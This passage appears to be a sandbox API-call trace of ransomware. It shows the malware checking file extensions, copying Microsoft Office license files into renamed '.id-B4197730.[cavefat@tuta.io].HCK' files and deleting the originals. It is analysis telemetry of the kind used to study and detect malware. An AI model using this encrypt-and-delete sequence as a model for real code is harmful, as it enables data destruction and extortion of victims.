(lpString=".1cd") returned 4 [0237.243] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0237.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms") returned 75 [0237.243] lstrlenW (lpString=".jpg") returned 4 [0237.243] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0237.243] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0237.243] lstrlenW (lpString="HomeBusinessDemoR_BypassTrial180-pl.xrm-ms") returned 42 [0237.243] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0237.244] GetFileSizeEx (in: hFile=0x4a0, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=11219) returned 1 [0237.244] CloseHandle (hObject=0x4a0) returned 1 [0237.244] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-pl.xrm-ms")) returned 0x220 [0237.244] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-pl.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0237.244] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0237.244] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0237.244] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0237.244] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-pl.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0237.245] GetLastError () returned 0x0 [0237.245] ReadFile (in: hFile=0x4a0, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x2bd3, lpOverlapped=0x0) returned 1 [0237.246] WriteFile (in: hFile=0x554, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x2be0, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x2be0, lpOverlapped=0x0) returned 1 [0237.247] ReadFile (in: hFile=0x4a0, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0237.247] WriteFile (in: hFile=0x554, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x128, lpOverlapped=0x0) returned 1 [0237.248] SetEndOfFile (hFile=0x554) returned 1 [0237.248] CloseHandle (hObject=0x554) returned 1 [0237.248] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0237.248] SetEndOfFile (hFile=0x4a0) returned 1 [0237.250] CloseHandle (hObject=0x4a0) returned 1 [0237.250] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0237.250] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-pl.xrm-ms")) returned 1 [0237.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms") returned 92 [0237.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms") returned 92 [0237.251] lstrlenW (lpString=".doc") returned 4 [0237.251] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0237.251] lstrlenW (lpString=".docx") returned 5 [0237.251] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0237.251] lstrlenW (lpString=".pdf") returned 4 [0237.251] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0237.251] lstrlenW (lpString=".xls") returned 4 [0237.252] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0237.252] lstrlenW (lpString=".xlsx") returned 5 [0237.252] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0237.252] lstrlenW (lpString=".ppt") returned 4 [0237.252] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0237.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms") returned 92 [0237.252] lstrlenW (lpString=".zip") returned 4 [0237.252] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0237.252] lstrlenW (lpString=".rar") returned 4 [0237.252] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0237.252] lstrlenW (lpString=".bz2") returned 4 [0237.252] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0237.252] lstrlenW (lpString=".7z") returned 3 [0237.252] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0237.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms") returned 92 [0237.252] lstrlenW (lpString=".dbf") returned 4 [0237.252] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0237.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms") returned 92 [0237.252] lstrlenW (lpString=".1cd") returned 4 [0237.252] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0237.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms") returned 92 [0237.252] lstrlenW (lpString=".jpg") returned 4 [0237.252] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0237.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms") returned 92 [0237.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms") returned 92 [0237.252] lstrlenW (lpString=".doc") returned 4 [0237.252] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0237.252] lstrlenW (lpString=".docx") returned 5 [0237.252] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0237.252] lstrlenW (lpString=".pdf") returned 4 [0237.252] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0237.252] lstrlenW (lpString=".xls") returned 4 [0237.252] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0237.252] lstrlenW (lpString=".xlsx") returned 5 [0237.252] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0237.252] lstrlenW (lpString=".ppt") returned 4 [0237.252] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0237.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms") returned 92 [0237.252] lstrlenW (lpString=".zip") returned 4 [0237.252] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0237.252] lstrlenW (lpString=".rar") returned 4 [0237.252] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0237.252] lstrlenW (lpString=".bz2") returned 4 [0237.252] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0237.252] lstrlenW (lpString=".7z") returned 3 [0237.252] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0237.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms") returned 92 [0237.252] lstrlenW (lpString=".dbf") returned 4 [0237.253] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0237.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms") returned 92 [0237.253] lstrlenW (lpString=".1cd") returned 4 [0237.253] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0237.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms") returned 92 [0237.253] lstrlenW (lpString=".jpg") returned 4 [0237.253] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0237.253] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0237.253] lstrlenW (lpString="HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms") returned 43 [0237.253] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0237.254] GetFileSizeEx (in: hFile=0x4a0, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=22224) returned 1 [0237.254] CloseHandle (hObject=0x4a0) returned 1 [0237.254] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ppd.xrm-ms")) returned 0x220 [0237.254] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ppd.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0237.255] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0237.255] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0237.255] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0237.255] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ppd.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0237.258] GetLastError () returned 0x0 [0237.258] ReadFile (in: hFile=0x4a0, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x56d0, lpOverlapped=0x0) returned 1 [0237.260] WriteFile (in: hFile=0x554, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x56e0, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x56e0, lpOverlapped=0x0) returned 1 [0237.495] ReadFile (in: hFile=0x4a0, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0237.495] WriteFile (in: hFile=0x554, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x12a, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x12a, lpOverlapped=0x0) returned 1 [0237.496] SetEndOfFile (hFile=0x554) returned 1 [0237.687] CloseHandle (hObject=0x554) returned 1 [0237.687] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0237.687] SetEndOfFile (hFile=0x4a0) returned 1 [0237.698] CloseHandle (hObject=0x4a0) returned 1 [0237.698] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0237.699] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ppd.xrm-ms")) returned 1 [0237.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms") returned 93 [0237.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms") returned 93 [0237.700] lstrlenW (lpString=".doc") returned 4 [0237.700] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0237.700] lstrlenW (lpString=".docx") returned 5 [0237.700] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0237.700] lstrlenW (lpString=".pdf") returned 4 [0237.700] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0237.700] lstrlenW (lpString=".xls") returned 4 [0237.700] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0237.700] lstrlenW (lpString=".xlsx") returned 5 [0237.700] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0237.700] lstrlenW (lpString=".ppt") returned 4 [0237.700] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0237.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms") returned 93 [0237.700] lstrlenW (lpString=".zip") returned 4 [0237.700] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0237.700] lstrlenW (lpString=".rar") returned 4 [0237.700] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0237.700] lstrlenW (lpString=".bz2") returned 4 [0237.700] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0237.700] lstrlenW (lpString=".7z") returned 3 [0237.700] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0237.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms") returned 93 [0237.700] lstrlenW (lpString=".dbf") returned 4 [0237.700] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0237.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms") returned 93 [0237.701] lstrlenW (lpString=".1cd") returned 4 [0237.701] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0237.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms") returned 93 [0237.701] lstrlenW (lpString=".jpg") returned 4 [0237.701] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0237.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms") returned 93 [0237.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms") returned 93 [0237.701] lstrlenW (lpString=".doc") returned 4 [0237.701] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0237.701] lstrlenW (lpString=".docx") returned 5 [0237.701] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0237.701] lstrlenW (lpString=".pdf") returned 4 [0237.701] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0237.701] lstrlenW (lpString=".xls") returned 4 [0237.701] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0237.701] lstrlenW (lpString=".xlsx") returned 5 [0237.701] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0237.701] lstrlenW (lpString=".ppt") returned 4 [0237.701] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0237.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms") returned 93 [0237.701] lstrlenW (lpString=".zip") returned 4 [0237.701] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0237.701] lstrlenW (lpString=".rar") returned 4 [0237.701] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0237.701] lstrlenW (lpString=".bz2") returned 4 [0237.701] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0237.701] lstrlenW (lpString=".7z") returned 3 [0237.701] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0237.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms") returned 93 [0237.701] lstrlenW (lpString=".dbf") returned 4 [0237.701] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0237.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms") returned 93 [0237.701] lstrlenW (lpString=".1cd") returned 4 [0237.701] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0237.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms") returned 93 [0237.701] lstrlenW (lpString=".jpg") returned 4 [0237.701] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0237.702] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0237.702] lstrlenW (lpString="HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms") returned 40 [0237.702] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0237.703] GetFileSizeEx (in: hFile=0x4a0, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=19982) returned 1 [0237.703] CloseHandle (hObject=0x4a0) returned 1 [0237.703] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-phn.xrm-ms")) returned 0x220 [0237.703] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-phn.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0237.703] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0237.703] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0237.703] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0237.703] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-phn.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0237.704] GetLastError () returned 0x0 [0237.704] ReadFile (in: hFile=0x4a0, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x4e0e, lpOverlapped=0x0) returned 1 [0237.706] WriteFile (in: hFile=0x568, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x4e10, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x4e10, lpOverlapped=0x0) returned 1 [0237.707] ReadFile (in: hFile=0x4a0, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0237.707] WriteFile (in: hFile=0x568, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x124, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x124, lpOverlapped=0x0) returned 1 [0237.707] SetEndOfFile (hFile=0x568) returned 1 [0237.707] CloseHandle (hObject=0x568) returned 1 [0237.707] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0237.707] SetEndOfFile (hFile=0x4a0) returned 1 [0237.710] CloseHandle (hObject=0x4a0) returned 1 [0237.710] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0237.711] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-phn.xrm-ms")) returned 1 [0237.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms") returned 90 [0237.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms") returned 90 [0237.712] lstrlenW (lpString=".doc") returned 4 [0237.712] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0237.712] lstrlenW (lpString=".docx") returned 5 [0237.712] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0237.712] lstrlenW (lpString=".pdf") returned 4 [0237.713] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0237.713] lstrlenW (lpString=".xls") returned 4 [0237.713] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0237.713] lstrlenW (lpString=".xlsx") returned 5 [0237.713] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0237.713] lstrlenW (lpString=".ppt") returned 4 [0237.713] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0237.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms") returned 90 [0237.713] lstrlenW (lpString=".zip") returned 4 [0237.713] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0237.713] lstrlenW (lpString=".rar") returned 4 [0237.713] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0237.713] lstrlenW (lpString=".bz2") returned 4 [0237.713] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0237.713] lstrlenW (lpString=".7z") returned 3 [0237.713] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0237.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms") returned 90 [0237.713] lstrlenW (lpString=".dbf") returned 4 [0237.713] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0237.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms") returned 90 [0237.713] lstrlenW (lpString=".1cd") returned 4 [0237.713] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0237.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms") returned 90 [0237.713] lstrlenW (lpString=".jpg") returned 4 [0237.713] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0237.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms") returned 90 [0237.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms") returned 90 [0237.713] lstrlenW (lpString=".doc") returned 4 [0237.713] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0237.713] lstrlenW (lpString=".docx") returned 